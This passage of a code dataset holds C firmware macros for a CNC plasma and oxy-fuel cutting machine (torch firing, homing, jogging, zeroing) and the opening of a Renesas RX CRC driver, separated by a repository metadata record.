\tconfigVarPl[PL_CONFIG_TEMPO_PERFURACAO];\n\t\ttempo_aquecimento\t= \t0;\n\t\tswitch (state)\n\t\t{\n\t\t\t\t/* 1- Procura chapa. G38.2 -50 COM FEEDRATE DE 800MM/MIN */\n\t\t\tcase 0: SET_NON_MODAL_MACRO (linenum,(uint32_t)linenumMacro);\n\t\t\t\t\tSET_NON_MODAL_MACRO (next_action, NEXT_ACTION_STRAIGHT_PROBE);\n\t\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Z], -50);\n\t\t\t\t\tSET_NON_MODAL_MACRO (feed_rate, FEEDRATE_Z);\n\t\t\t\t\tstate++; break;\n\n\t\t\t\t/* 2- Zera o eixo Z com G28.3 Z0*/\n\t\t\tcase 1: if(configFlags[MODOMAQUINA] == MODO_PLASMA){\n\n\t\t\t\t\t\tSET_NON_MODAL_MACRO (linenum,(uint32_t)linenumMacro);\n\t\t\t\t\t\tSET_NON_MODAL_MACRO(next_action, NEXT_ACTION_SET_ABSOLUTE_ORIGIN);\n\t\t\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Z], 0);\n\n\t\t\t\t\t}\n\t\t\t\t\tstate++; break;\n\n\t\t\t\t\t/* 3- Posiciona o eixo Z para \"ALTURA DE PERFURAÇÃO\" */\n\t\t\tcase 2: SET_NON_MODAL_MACRO (linenum,(uint32_t)linenumMacro);\n\t\t\t\t\tSET_MODAL_MACRO (MODAL_GROUP_G1, motion_mode, MOTION_MODE_STRAIGHT_TRAVERSE);\n\t\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Z], altura_perfuracao);\n\t\t\t\t\tstate++; break;\n\n\t\t\t\t\t/* 4- CHECA SE O ESTÁ EM MODO SIMULAÇÃO, SE SIM, PULAR PARA PASSO 8. SE ESTIVER EM MODO OXICORTE, CONTINUA.\n\t\t\t\t\t 4 -Dispara a tocha */\n\t\t\tcase 3:\tSET_NON_MODAL_MACRO (linenum,(uint32_t)linenumMacro);\n\t\t\t\t\tSET_MODAL_MACRO (MODAL_GROUP_M7, spindle_mode, SPINDLE_CW);\n\t\t\t\t\tstate++;\n\t\t\t\t\tbreak;\n\n\t\t\t\t\t/* 5 -Espera o arco OK */\n\t\t\tcase 4: if(!sim)\n\t\t\t\t\t{\n\t\t\t\t\t\tSET_NON_MODAL_MACRO (linenum,(uint32_t)linenumMacro);\n\t\t\t\t\t\tSET_NON_MODAL_MACRO (next_action, NEXT_ACTION_WAIT_SWITCH);\n\t\t\t\t\t\tSET_NON_MODAL_MACRO (parameter, 3000);\n\t\t\t\t\t}\n\t\t\t\t\tstate++; break;\n\n\t\t\t\t\t/*6- Dwell do \"TEMPO DE PERFURAÇÃO\" */\n\t\t\tcase 5:\tdelay_thcStartStop(true);\n\t\t\t\t\tstate++; break;\n\n\t\t\t\t\t/*8- Seta o sistema com o feedrate de corte \"VELOC. DE CORTE\" */\n\t\t\tcase 6: SET_NON_MODAL_MACRO (linenum,(uint32_t)linenumMacro);\n\t\t\t\t\tSET_NON_MODAL_MACRO (feed_rate, vel_corte);\n\t\t\t\t\tstate++; break;\n\n\t\t\tdefault: state = 0; macro_func_ptr = M5_Macro; return (STAT_OK);\n\t\t}\n\t}\n\telse\n\t{\n\t\tstate = 0; macro_func_ptr = _command_dispatch; return (STAT_OK);\n\t}\n\t_execute_gcode_block();\n\treturn (STAT_OK);\n}\n\nstat_t M5_Macro(void)\n{\n\tmacro_buffer = M5_Macro;\n\tif(configFlags[MODOMAQUINA] == MODO_PLASMA)\n\t{\n\t\t/* A macro não pode acorrer até que o buffer seja esvaziado, para que ações durante o corte tenham efeito imediato*/\n\t//\tif (cm_get_runtime_busy() == true ) { return (STAT_EAGAIN);}\t// sync to planner move ends\n\t\taltura_perfuracao \t= \tconfigVarPl[PL_CONFIG_ALTURA_PERFURACAO];\n\t\taltura_deslocamento\t= \tconfigVarMaq[CFG_MAQUINA_ALT_DESLOCAMENTO];\n\t\taltura_corte\t\t= \tconfigVarPl[PL_CONFIG_ALTURA_CORTE];\n\t\tvel_corte\t\t\t= \tconfigVarPl[PL_CONFIG_VELOC_CORTE];\n\t\ttempo_perfuracao\t= \tconfigVarPl[PL_CONFIG_TEMPO_PERFURACAO];\n\t\ttempo_aquecimento\t= \t0;\n\t}\n\telse\n\t{\n\t\t/* A macro não pode acorrer até que o buffer seja esvaziado, para que ações durante o corte tenham efeito imediato*/\n\t\tif (cm_get_runtime_busy() == true || lstop == true) { return (STAT_EAGAIN);}\t// sync to planner move ends\n\t\taltura_perfuracao \t= \tconfigVarOx[OX_CONFIG_ALTURA_PERFURACAO];\n\t\taltura_deslocamento\t= \tconfigVarMaq[CFG_MAQUINA_ALT_DESLOCAMENTO];\n\t\taltura_corte\t\t= \tconfigVarOx[OX_CONFIG_ALTURA_CORTE];\n\t\tvel_corte\t\t\t= \tconfigVarOx[OX_CONFIG_VELOC_CORTE];\n\t\ttempo_perfuracao\t= \tconfigVarOx[OX_CONFIG_TEMPO_PERFURACAO];\n\t\ttempo_aquecimento\t= \tconfigVarOx[OX_CONFIG_TEMPO_AQUECIMENTO];\n\t}\n\tprintf(\"Macro M5 - state %d\\nlinumacro - %d\\n\",state,linenumMacro);\n\t// set initial state for new move\n\tmemset(&gp, 0, sizeof(gp));\t\t\t\t\t\t// clear all parser values\n\tmemset(&cm.gf, 0, sizeof(GCodeInput_t));\t\t// clear all next-state flags\n\tmemset(&cm.gn, 0, sizeof(GCodeInput_t));\t\t// clear all next-state values\n\tcm.gn.motion_mode = cm_get_motion_mode(MODEL);\t// get motion mode from previous block\n\n\tswitch (state)\n\t{\n\t\tcase 0: stopDuringCut_Set(false);\n\t\t\t\tSET_NON_MODAL_MACRO (linenum,(uint32_t)linenumMacro);\n\t\t\t SET_MODAL_MACRO (MODAL_GROUP_M7, spindle_mode, SPINDLE_OFF);\n\t\t\t\tstate++; break;\n\t\tcase 1: SET_NON_MODAL_MACRO (linenum,(uint32_t)linenumMacro);\n\t\t\t\tSET_MODAL_MACRO (MODAL_GROUP_G1, motion_mode, MOTION_MODE_STRAIGHT_TRAVERSE);\n\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Z], altura_deslocamento);\n\t\t\t\tstate++; break;\n\t\tdefault:state = 0; macro_buffer = _command_dispatch; macro_func_ptr = _command_dispatch; return (STAT_OK);\n\t}\n\t_execute_gcode_block();\n\treturn (STAT_OK);\n}\n\nstat_t ZerarMaquina_Macro(void)\n{\n\t// set initial state for new move\n\tmemset(&gp, 0, sizeof(gp));\t\t\t\t\t\t// clear all parser values\n\tmemset(&cm.gf, 0, sizeof(GCodeInput_t));\t\t// clear all next-state flags\n\tmemset(&cm.gn, 0, sizeof(GCodeInput_t));\t\t// clear all next-state values\n\tcm.gn.motion_mode = cm_get_motion_mode(MODEL);\t// get motion mode from previous block\n\tintepreterRunning = true;\n\tzero_flags = ZERO_MAQ_FLAG;\n\tswitch (state)\n\t{\n\n\t\tcase 0: \tSET_NON_MODAL_MACRO(next_action, NEXT_ACTION_SET_ABSOLUTE_ORIGIN);\n\t\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_X], 0);\n\t\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Y], 0);\n\t\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Z], 0);\n\t\t\t\t\tstate++; break;\n\t\tdefault:state = 0; \tintepreterRunning = false; macro_func_ptr = command_idle; return (STAT_OK);\n\t}\n\t_execute_gcode_block();\n\treturn (STAT_OK);\n}\n\nstat_t ZerarPeca_Macro(void)\n{\n\t// set initial state for new move\n\tmemset(&gp, 0, sizeof(gp));\t\t\t\t\t\t// clear all parser values\n\tmemset(&cm.gf, 0, sizeof(GCodeInput_t));\t\t// clear all next-state flags\n\tmemset(&cm.gn, 0, sizeof(GCodeInput_t));\t\t// clear all next-state values\n\tcm.gn.motion_mode = cm_get_motion_mode(MODEL);\t// get motion mode from previous block\n\tintepreterRunning = true;\n\tzero_flags |= ZERO_PECA_FLAG;\n\tswitch (state)\n\t{\n\t\tcase 0: \tSET_NON_MODAL_MACRO(next_action, NEXT_ACTION_SET_ABSOLUTE_ORIGIN);\n\t\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_X], 0);\n\t\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Y], 0);\n\t\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Z], 0);\n\t\t\t\t\tstate++; break;\n\t\tdefault:state = 0; \tintepreterRunning = false; macro_func_ptr = command_idle; return (STAT_OK);\n\t}\n\t_execute_gcode_block();\n\treturn (STAT_OK);\n}\n\nstat_t homming_Macro(void)\n{\n\tif(configFlags[MODOMAQUINA] == MODO_PLASMA)\n\t{\n\t\taltura_perfuracao \t= \tconfigVarPl[PL_CONFIG_ALTURA_PERFURACAO];\n\t\taltura_deslocamento\t= \tconfigVarMaq[CFG_MAQUINA_ALT_DESLOCAMENTO];\n\t\taltura_corte\t\t= \tconfigVarPl[PL_CONFIG_ALTURA_CORTE];\n\t\tvel_corte\t\t\t= \tconfigVarPl[PL_CONFIG_VELOC_CORTE];\n\t\ttempo_perfuracao\t= \tconfigVarPl[PL_CONFIG_TEMPO_PERFURACAO];\n\t\ttempo_aquecimento\t= \t0;\n\t}\n\telse\n\t{\n\t\taltura_perfuracao \t= \tconfigVarOx[OX_CONFIG_ALTURA_PERFURACAO];\n\t\taltura_deslocamento\t= \tconfigVarMaq[CFG_MAQUINA_ALT_DESLOCAMENTO];\n\t\taltura_corte\t\t= \tconfigVarOx[OX_CONFIG_ALTURA_CORTE];\n\t\tvel_corte\t\t\t= \tconfigVarOx[OX_CONFIG_VELOC_CORTE];\n\t\ttempo_perfuracao\t= \tconfigVarOx[OX_CONFIG_TEMPO_PERFURACAO];\n\t\ttempo_aquecimento\t= \tconfigVarOx[OX_CONFIG_TEMPO_AQUECIMENTO];\n\t}\n\n\t// set initial state for new move\n\tmemset(&gp, 0, sizeof(gp));\t\t\t\t\t\t// clear all parser values\n\tmemset(&cm.gf, 0, sizeof(GCodeInput_t));\t\t// clear all next-state flags\n\tmemset(&cm.gn, 0, sizeof(GCodeInput_t));\t\t// clear all next-state values\n\tcm.gn.motion_mode = cm_get_motion_mode(MODEL);\t// get motion mode from previous block\n\n\tswitch (state)\n\t{\n\t\tcase 0: SET_MODAL_MACRO (MODAL_GROUP_G6, units_mode, MILLIMETERS);\n\t\t\t\tstate++; break;\n\n\t\tcase 1: SET_MODAL_MACRO (MODAL_GROUP_G3, distance_mode, ABSOLUTE_MODE);\n\t\t\t\tstate++; break;\n\n\t\tcase 2: SET_NON_MODAL_MACRO (absolute_override, true);\n\t\t\t\tstate++; break;\n\n\t\tcase 3: SET_MODAL_MACRO (MODAL_GROUP_G1, motion_mode, MOTION_MODE_STRAIGHT_TRAVERSE);\n\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Z], altura_deslocamento);\n\t\t\t\tstate++; break;\n\n\t\tcase 4:\n\t\t\t\tSET_MODAL_MACRO (MODAL_GROUP_G1, motion_mode, MOTION_MODE_STRAIGHT_TRAVERSE);\n\t\t\t\tif ((zero_flags & ZERO_PECA_FLAG) == ZERO_PECA_FLAG)\n\t\t\t\t{\n\t\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_X], 0);\n\t\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Y], 0);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tzero_flags |= ZERO_PECA_FLAG;\n\t\t\t\t\teepromReadConfig(ZEROPIECE);\n\t\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_X], zeroPiece[AXIS_X]);\n\t\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Y], zeroPiece[AXIS_Y]);\n\t\t\t\t}\n\t\t\t\tstate++; break;\n\n\t\tcase 5: SET_NON_MODAL_MACRO(next_action, NEXT_ACTION_SET_ABSOLUTE_ORIGIN);\n\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_X], 0);\n\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Y], 0);\n//\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Z], zeroPiece[AXIS_Z]);\n\t\t\t\tstate++; break;\n\n\t\tcase 6: SET_MODAL_MACRO (MODAL_GROUP_M4, program_flow, PROGRAM_END);\n\t\t\t\tstate++; break;\n\n\t\tdefault:state = 0; macro_func_ptr = command_idle; return (STAT_OK);\n\t}\n\t_execute_gcode_block();\n\treturn (STAT_OK);\n}\n\nstat_t jog_Macro(void)\n{\n\tbool diagonalX = false;\n\tbool diagonalY = false;\n\t// set initial state for new move\n\tmemset(&gp, 0, sizeof(gp));\t\t\t\t\t\t// clear all parser values\n\tmemset(&cm.gf, 0, sizeof(GCodeInput_t));\t\t// clear all next-state flags\n\tmemset(&cm.gn, 0, sizeof(GCodeInput_t));\t\t// clear all next-state values\n\tcm.gn.motion_mode = cm_get_motion_mode(MODEL);\t// get motion mode from previous block\n\n\tswitch (state)\n\t{\n\t\tcase 0: SET_MODAL_MACRO (MODAL_GROUP_G3, distance_mode, INCREMENTAL_MODE);\n\t\t\t\tstate++; break;\n\n\t\tcase 1: SET_MODAL_MACRO (MODAL_GROUP_G1, motion_mode, MOTION_MODE_STRAIGHT_FEED);\n\t\t\t\tif ((JogkeyPressed & KEY_RIGHT ) == KEY_RIGHT || (JogkeyPressed & KEY_LEFT ) == KEY_LEFT)\n\t\t\t\t{\n\t\t\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_X], jogMaxDistance[AXIS_X]);\n\t\t\t\t\t\tSET_NON_MODAL_MACRO (feed_rate, *velocidadeJog);\n\t\t\t\t\t\tdiagonalX = true;\n\t\t\t\t}\n\t\t\t\tif ((JogkeyPressed & KEY_UP ) == KEY_UP || (JogkeyPressed & KEY_DOWN ) == KEY_DOWN)\n\t\t\t\t{\n\t\t\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Y], jogMaxDistance[AXIS_Y]);\n\t\t\t\t\t\tSET_NON_MODAL_MACRO (feed_rate, *velocidadeJog);\n\t\t\t\t\t\tdiagonalY = true;\n\t\t\t\t}\n\t\t\t\tif ((JogkeyPressed & KEY_Z_DOWN ) == KEY_Z_DOWN || (JogkeyPressed & KEY_Z_UP ) == KEY_Z_UP)\n\t\t\t\t{\n\t\t\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Z], jogMaxDistance[AXIS_Z]);\n\t\t\t\t\t\tSET_NON_MODAL_MACRO (feed_rate, *velocidadeJog);\n\t\t\t\t}\n//\t\t\t\tif(diagonalX && diagonalY)\n//\t\t\t\t{\n//\t\t\t\t\tSET_NON_MODAL_MACRO (feed_rate, *velocidadeJog*1.41);\n//\t\t\t\t}\n//\t\t\t\telse\n//\t\t\t\t{\n//\t\t\t\t\tSET_NON_MODAL_MACRO (feed_rate, *velocidadeJog);\n//\t\t\t\t}\n\t\t\t\tstate++; break;\n\t\tdefault:state = 0; macro_func_ptr = command_idle; return (STAT_OK);\n\t}\n\t_execute_gcode_block();\n\treturn (STAT_OK);\n}\n\nstat_t RunningInicial_Macro(void)\n{\n\t// set initial state for new move\n\tmemset(&gp, 0, sizeof(gp));\t\t\t\t\t\t// clear all parser values\n\tmemset(&cm.gf, 0, sizeof(GCodeInput_t));\t\t// clear all next-state flags\n\tmemset(&cm.gn, 0, sizeof(GCodeInput_t));\t\t// clear all next-state values\n\tcm.gn.motion_mode = cm_get_motion_mode(MODEL);\t// get motion mode from previous block\n\n\tswitch (state)\n\t{\n\t\tcase 0: SET_MODAL_MACRO (MODAL_GROUP_G6, units_mode, MILLIMETERS);\n\t\t\t\tstate++; break;\n\n\t\tcase 1: SET_NON_MODAL_MACRO (absolute_override, true);\n\t\t\t\tstate++; break;\n\n\t\tcase 2: SET_MODAL_MACRO (MODAL_GROUP_G3, distance_mode, ABSOLUTE_MODE);\n\t\t\t\tstate++; break;\n\n\t\tdefault:state = 0; macro_func_ptr = _command_dispatch; return (STAT_OK);\n\t}\n\t_execute_gcode_block();\n\treturn (STAT_OK);\n}\n\nstat_t G10_Macro(void)\n{\n\t// set initial state for new move\n\tmemset(&gp, 0, sizeof(gp));\t\t\t\t\t\t// clear all parser values\n\tmemset(&cm.gf, 0, sizeof(GCodeInput_t));\t\t// clear all next-state flags\n\tmemset(&cm.gn, 0, sizeof(GCodeInput_t));\t\t// clear all next-state values\n\tcm.gn.motion_mode = cm_get_motion_mode(MODEL);\t// get motion mode from previous block\n\n\tswitch (state)\n\t{\n\t\tcase 0: SET_MODAL_MACRO (MODAL_GROUP_G0, next_action, NEXT_ACTION_SET_COORD_DATA);\n\t\t\t\tSET_NON_MODAL_MACRO (parameter, 1);\n\t\t\t\tSET_NON_MODAL_MACRO (target[AXIS_X], mp_get_runtime_absolute_position(AXIS_X));\n\t\t\t\tSET_NON_MODAL_MACRO (target[AXIS_Y], mp_get_runtime_absolute_position(AXIS_Y));\n\t\t\t\tSET_NON_MODAL_MACRO (target[AXIS_Z], 0);\n\t\t\t\tstate++; break;\n\n\t\tdefault:state = 0; macro_func_ptr = _command_dispatch; return (STAT_OK);\n\t}\n\t_execute_gcode_block();\n\treturn (STAT_OK);\n}\n\nstat_t arcoOK_Macro(void)\n{\n\tuint32_t lRet = pdFALSE;\n\n\tif (xMacroArcoOkSync == true)\n\t{\n\t\tpl_arcook_start();\n\t\txQueueReset((xQueueHandle)xArcoOkSync);\n\t\tlRet = xSemaphoreTake( xArcoOkSync, pdMS_TO_TICKS(3000) );\n\t\tif (lRet == pdFALSE)\n\t\t{\n\t\t\tuint32_t qSend;\n\t\t\tstopDuringCut_Set(true);\n\t\t\tqSend = ARCO_OK_INIT_FAILED;\n\t\t\txQueueSend( qKeyboard, &qSend, 0 );\n\t\t\tmacro_func_ptr = command_idle;\n\t\t\txMacroArcoOkSync = false;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tcm_request_cycle_start();\n\t\t\tstopDuringCut_Set(false);\n\t\t\tdelay_thcStartStop(true);\n\t\t\txMacroArcoOkSync = false;\n\t\t\t//state = 0;\n\t\t\t//macro_func_ptr = _command_dispatch;\n\t\t\tmacro_func_ptr = macro_buffer;\n\t\t}\n\t}\n\treturn (STAT_OK);\n}\n\nstat_t feedRateOverride_Macro(void)\n{\n\tswitch (state)\n\t{\n\t\tcase 0: cm_request_feedhold();\n\t\t\t\tstate++; break;\n\t\tcase 1: cm_request_cycle_start();\n\t\t\t\tstate++; break;\n\t\tdefault:state = 0; macro_func_ptr = _command_dispatch; return (STAT_OK);\n\t}\n\t_execute_gcode_block();\n\treturn (STAT_OK);\n}\n\nstat_t limit_test(void)\n{\n\tif(configFlags[MODOMAQUINA] == MODO_PLASMA)\n\t{\n\t\taltura_perfuracao \t= \tconfigVarPl[PL_CONFIG_ALTURA_PERFURACAO];\n\t\taltura_deslocamento\t= \tconfigVarMaq[CFG_MAQUINA_ALT_DESLOCAMENTO];\n\t\taltura_corte\t\t= \tconfigVarPl[PL_CONFIG_ALTURA_CORTE];\n\t\tvel_corte\t\t\t= \tconfigVarPl[PL_CONFIG_VELOC_CORTE];\n\t\ttempo_perfuracao\t= \tconfigVarPl[PL_CONFIG_TEMPO_PERFURACAO];\n\t\ttempo_aquecimento\t= \t0;\n\t}\n\telse\n\t{\n\t\taltura_perfuracao \t= \tconfigVarOx[OX_CONFIG_ALTURA_PERFURACAO];\n\t\taltura_deslocamento\t= \tconfigVarMaq[CFG_MAQUINA_ALT_DESLOCAMENTO];\n\t\taltura_corte\t\t= \tconfigVarOx[OX_CONFIG_ALTURA_CORTE];\n\t\tvel_corte\t\t\t= \tconfigVarOx[OX_CONFIG_VELOC_CORTE];\n\t\ttempo_perfuracao\t= \tconfigVarOx[OX_CONFIG_TEMPO_PERFURACAO];\n\t\ttempo_aquecimento\t= \tconfigVarOx[OX_CONFIG_TEMPO_AQUECIMENTO];\n\t}\n\n\t// set initial state for new move\n\tmemset(&gp, 0, sizeof(gp));\t\t\t\t\t\t// clear all parser values\n\tmemset(&cm.gf, 0, sizeof(GCodeInput_t));\t\t// clear all next-state flags\n\tmemset(&cm.gn, 0, sizeof(GCodeInput_t));\t\t// clear all next-state values\n\tcm.gn.motion_mode = cm_get_motion_mode(MODEL);\t// get motion mode from previous block\n\n\tswitch (state)\n\t{\n\t\tcase 0: SET_MODAL_MACRO (MODAL_GROUP_G6, units_mode, MILLIMETERS);\n\t\t\t\tstate++; break;\n\n\t\tcase 1: SET_MODAL_MACRO (MODAL_GROUP_G3, distance_mode, ABSOLUTE_MODE);\n\t\t\t\tstate++; break;\n\n\t\tcase 2: SET_NON_MODAL_MACRO (absolute_override, true);\n\t\t\t\tstate++; break;\n\n\t\tcase 3: SET_MODAL_MACRO (MODAL_GROUP_G1, motion_mode, MOTION_MODE_STRAIGHT_TRAVERSE);\n\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Z], altura_deslocamento);\n\t\t\t\tstate++; break;\n\n\t\tcase 4: SET_MODAL_MACRO (MODAL_GROUP_G1, motion_mode, MOTION_MODE_STRAIGHT_FEED);\n\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Y], 0);\n\t\t\t\tSET_NON_MODAL_MACRO (feed_rate, 6000);\n\t\t\t\tstate++; break;\n\n\t\tcase 5: SET_MODAL_MACRO (MODAL_GROUP_G1, motion_mode, MOTION_MODE_STRAIGHT_FEED);\n\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_X], 0);\n\t\t\t\tstate++; break;\n\n//\t\tcase 4: SET_NON_MODAL_MACRO (next_action, NEXT_ACTION_DWELL);\n//\t\t\t\tSET_NON_MODAL_MACRO (parameter, 1000);\n//\t\t\t\tstate++; break;\n\n\t\tcase 6: SET_MODAL_MACRO (MODAL_GROUP_G1, motion_mode, MOTION_MODE_STRAIGHT_FEED);\n\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Y], Ycord);\n\t\t\t\tstate++; break;\n\n//\t\tcase 6: SET_NON_MODAL_MACRO (next_action, NEXT_ACTION_DWELL);\n//\t\t\t\tSET_NON_MODAL_MACRO (parameter, 1000);\n//\t\t\t\tstate++; break;\n\n\t\tcase 7: SET_MODAL_MACRO (MODAL_GROUP_G1, motion_mode, MOTION_MODE_STRAIGHT_FEED);\n\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_X], Xcord);\n\t\t\t\tstate++; break;\n\n//\t\tcase 8: SET_NON_MODAL_MACRO (next_action, NEXT_ACTION_DWELL);\n//\t\t\t\tSET_NON_MODAL_MACRO (parameter, 1000);\n//\t\t\t\tstate++; break;\n\n\t\tcase 8: SET_MODAL_MACRO (MODAL_GROUP_G1, motion_mode, MOTION_MODE_STRAIGHT_FEED);\n\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Y], 0);\n\t\t\t\tstate++; break;\n\n//\t\tcase 10: SET_NON_MODAL_MACRO (next_action, NEXT_ACTION_DWELL);\n//\t\t\t\tSET_NON_MODAL_MACRO (parameter, 1000);\n//\t\t\t\tstate++; break;\n\n\t\tcase 9: SET_MODAL_MACRO (MODAL_GROUP_G1, motion_mode, MOTION_MODE_STRAIGHT_FEED);\n\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_X], 0);\n\t\t\t\tstate++; break;\n\n//\t\tcase 12: SET_NON_MODAL_MACRO (next_action, NEXT_ACTION_DWELL);\n//\t\t\t\tSET_NON_MODAL_MACRO (parameter, 1000);\n//\t\t\t\tstate++; break;\n\n\t\tcase 10: SET_MODAL_MACRO (MODAL_GROUP_M4, program_flow, PROGRAM_END);\n\t\t\t\tstate++; break;\n\n\t\tdefault:state = 0; macro_func_ptr = _command_dispatch; return (STAT_OK);\n\t}\n\t_execute_gcode_block();\n\treturn (STAT_OK);\n}\n\nvoid macroInitVar(void)\n{\n\tvelocidadeJog = &configVarJog[JOG_RAPIDO];\n}\n" }, { "alpha_fraction": 0.4601125717163086, "alphanum_fraction": 0.47399067878723145, "avg_line_length": 44.38325881958008, "blob_id": "368e2ae1571f8cc9b29dfebc162182429a7e4bfb", "content_id": "9ae98924b09412385e8f0f7ea717e41062724311", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 10304, "license_type": "no_license", "max_line_length": 120, "num_lines": 227, "path": "/r_crc_rx/src/r_crc_rx.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved. \n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name\t : r_crc_rx.c\n* Description : Uses the RX CRC peripheral\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description \n* : 28.02.2012 1.00 First Release \n* : 10.05.2012 1.10 Updated to be compliant with FIT Module Spec v0.7\n* : 13.02.2013 1.20 Updated to be compliant with FIT Module Spec v1.02. Changed API for R_CMT_Compute() \n* because existing API had no way of informing user if lock was not able to be obtained.\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n***********************************************************************************************************************/\n/* Fixed-size integer typedefs. */\n#include <stdint.h>\n/* bool support. */\n#include <stdbool.h>\n/* Has intrinsic support. Includes xchg() which is used in this code. */\n#include <machine.h>\n/* Includes board and MCU related header files. */\n#include \"platform.h\"\n/* Configuration for this package. */\n#include \"r_crc_rx_config.h\"\n/* Header file for this package. */\n#include \"r_crc_rx_if.h\"\n\n/***********************************************************************************************************************\nMacro definitions\n***********************************************************************************************************************/\n/* Error checking on configuration options. */\n#if (CRC_CFG_POLY_X8_X2_X_1 + CRC_CFG_POLY_X16_X15_X2_1 + CRC_CFG_POLY_X16_X12_X5_1) > 1\n #error \"Error! Only choose one CRC polynomial in r_crc_rx_config.h\"\n#endif\n\n#if defined(CRC_CFG_MSB_FIRST) && defined(CRC_CFG_LSB_FIRST)\n #error \"Error! Only choose MSB-first or LSB-first in r_crc_rx_config.h\"\n#endif\n\n/***********************************************************************************************************************\nTypedef definitions\n***********************************************************************************************************************/\n \n/***********************************************************************************************************************\nPrivate global variables and functions\n***********************************************************************************************************************/\n/* Determine whether CRC peripheral has been enabled. */\nstatic bool g_crc_enabled = false;\n\n/* Internal functions. */\nstatic bool crc_acquire_state(void);\nstatic void crc_release_state(void);\n\n/***********************************************************************************************************************\n* Function Name: R_CRC_Init\n* Description : Initializes the CRC for given input.\n* Arguments : none\n* Return Value : none\n***********************************************************************************************************************/\nvoid R_CRC_Init (void)\n{\n /* Enable the CRC peripheral if needed. */\n#if defined(BSP_MCU_RX21_ALL) || defined(BSP_MCU_RX63_ALL) || defined(BSP_MCU_RX11_ALL)\n /* Enable writing to MSTP registers. */\n SYSTEM.PRCR.WORD = 0xA502;\n#endif\n\n /* Enable the CRC peripheral */\n MSTP(CRC) = 0;\n \n#if defined(BSP_MCU_RX21_ALL) || defined(BSP_MCU_RX63_ALL) || defined(BSP_MCU_RX11_ALL)\n /* Disable writing to MSTP registers. */\n SYSTEM.PRCR.WORD = 0xA500;\n#endif\n\n /* Set peripheral as initialized. */\n g_crc_enabled = true;\n \n /* Set polynomial. */\n#if defined(CRC_CFG_POLY_X8_X2_X_1)\n CRC.CRCCR.BIT.GPS = 1;\n#elif defined(CRC_CFG_POLY_X16_X15_X2_1)\n CRC.CRCCR.BIT.GPS = 2;\n#elif defined(CRC_CFG_POLY_X16_X12_X5_1)\n CRC.CRCCR.BIT.GPS = 3;\n#else\n #error \"Error! Choose CRC Polynomial in r_crc_rx_config.h\";\n#endif\n\n /* Set MSB-first or LSB-first. */\n#if defined(CRC_CFG_MSB_FIRST)\n CRC.CRCCR.BIT.LMS = 1;\n#elif defined(CRC_CFG_LSB_FIRST)\n CRC.CRCCR.BIT.LMS = 0;\n#else\n #error \"Error! Choose MSB or LSB first for CRC code in r_crc_rx_config.h\";\n#endif\n\n /* Perform register clear on CRCDOOR. */\n CRC.CRCCR.BIT.DORCLR = 1;\n}\n\n/***********************************************************************************************************************\n* Function Name: R_CRC_Compute\n* Description : Compute the CRC for the input data given.\n* Arguments : seed - \n* Data to initialize the CRC calculation with\n* data - \n* Address of data to use\n* data_bytes - \n* Number of bytes of data\n* crc_out - \n* Address of where to store computed CRC value.\n* Return Value : true -\n* CRC value computed.\n* false -\n* CRC peripheral is busy with another request or it was not initialized.\n***********************************************************************************************************************/\nbool R_CRC_Compute (uint16_t seed, uint8_t * data, 